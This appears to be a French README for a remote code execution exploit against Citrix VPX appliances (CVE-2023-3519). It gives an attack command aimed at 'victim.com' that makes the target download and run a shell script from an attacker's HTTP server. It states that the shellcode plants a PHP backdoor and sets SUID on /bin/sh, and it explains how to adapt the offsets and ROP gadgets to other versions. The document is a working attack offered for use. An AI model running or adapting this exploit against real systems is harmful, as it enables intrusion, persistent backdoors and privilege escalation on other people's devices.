
Exploit RCE pour CVE-2023-3519
Cet exploit utilise des adresses et du shellcode pour Citrix VPX 13.1-48.47. Pour l'article complet, cliquez ici.
NASM est requis pour construire le shellcode.
$ sudo apt install nasm
Le shellcode inclus télécharge et exécute un script shell depuis un serveur http(s) distant. Le script prend 3 arguments : l'hôte cible, le port cible et l'URL d'une charge utile de script shell. Un exemple de charge utile qui exécute id et uname -a avant de se nettoyer est inclus dans ce dépôt.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
L'URL doit être suffisamment courte pour tenir dans le tampon du shellcode, et vous obtiendrez un avertissement si elle est trop longue.
Le shellcode créera une porte dérobée PHP dans /var/netscaler/logon/a.php et définira le bit SUID sur /bin/sh. La charge utile sh incluse montre un exemple de nettoyage automatique de ces artefacts. Notez également que le shellcode ne ferme pas ses descripteurs de fichiers, donc une exploitation répétée excessive peut entraîner une épuisement des ressources.
Pour les cibles Citrix basées sur FreeBSD, vous devriez seulement avoir besoin de trouver 3 valeurs : le décalage du pointeur de retour sauvegardé, un gadget ROP jmp rsp (ou quelque chose d'équivalent, comme push rsp; ret;), et l'adresse vers laquelle sauter pour éviter un plantage. Ces paramètres sont tous codés en dur près du haut de cve-2023-3519.py. Pour certaines versions, vous pourriez aussi avoir besoin de trouver une quatrième valeur pour corriger la valeur RBP, car le compilateur génère des chargements relatifs à RBP au lieu d'utiliser des instructions POP pour restaurer les registres sauvegardés.